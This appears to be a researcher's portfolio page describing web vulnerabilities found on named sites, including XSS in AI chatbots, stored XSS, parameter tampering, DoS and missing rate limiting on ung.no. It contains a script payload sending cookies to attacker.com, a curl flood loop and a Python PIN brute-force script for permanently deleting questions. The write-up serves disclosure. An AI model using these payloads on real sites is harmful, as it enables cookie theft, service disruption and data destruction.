Phillip

DOM-Based XSS Vulnerability

This is an AI chatbot where HTML and script tags weren't sanitized and got added to the DOM. Fortunately, this wasn't a stored vulnerability because chats aren't shared and are local to your current session. If you refresh, the chat disappears, limiting the impact.

DOM-Based XSS Vulnerability

Similar to danielsen.ai, this school AI chatbot allowed HTML and script tags that weren't sanitized. The vulnerability wasn't stored, as chats are local to your session and disappear on refresh, limiting the overall impact.

Stored XSS Vulnerability

ScribbledThought.com had a stored DOM-based XSS vulnerability in notes. Users could create notes with XSS which were stored in the database and loaded every time for every single user. This could lead to domain takeover, capturing IP addresses of all users, fingerprinting them, or redirecting to malicious websites.

Notes could say: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Color Parameter Tampering

I also discovered that when changing note colors, the API endpoint didn't use a set color name like "yellow" but instead accepted HEX codes. There was no backend validation of colors, allowing me to send arbitrary values like #000000 (black), creating notes with invisible black text on black background. The server relied on client-side validation that could be easily bypassed.

DoS via Oversized Payloads

I noticed there was no character limit for note content. This opened the door for a potential denial-of-service (DoS) attack. I exploited this by sending over 100,000 characters (around 4 bytes per character in many UTFs), totaling about 400,000-500,000 bytes of data. This data flood overwhelmed the backend, causing it to crash and stop serving any new messages. It was a classic mix of DoS and data flooding, effectively taking down the server.

Missing CORS & CSRF Protection

ung.no had no CORS or CSRF protections in place, allowing API requests from any origin. This meant attackers could create external websites that make cross-origin requests to ung.no.

No Rate Limiting

The site had no rate limiting, making it extremely vulnerable to DDoS attacks. This could allow attackers to spam the server, overwhelm it, and potentially cause service disruption or significant request delays.

for i in {1..1000}; do
      curl -X POST https://ung.no/ \
    done

Data Exposure

Due to missing CORS and CSRF protections, it was possible to fetch submission data from any origin using the correct API endpoints.

Permanent Data Deletion

The most severe vulnerability was that answered questions could still be deleted with the question pin code, despite the UI removing the delete button. The site's privacy policy stated that deleted questions are permanently removed with no recovery possible. Combined with no rate limiting and only 5-character pin codes, it was possible to create a brute force tool to delete questions permanently from the database at a rate of about one per second.

# Multi-threaded PIN brute force script
    import requests
    import threading

    def try_pin(pin):
        response = requests.post('https://ung.no/endpoint-redacted-for-safety',
                                json={'id': 12345, 'pin': pin})
        if response.status_code == 200:
            print(f"Success with PIN: {pin}")

    # Create multiple threads to try different PINs
    for i in range(10000, 99999):
        t = threading.Thread(target=try_pin, args=(str(i),))
        t.start()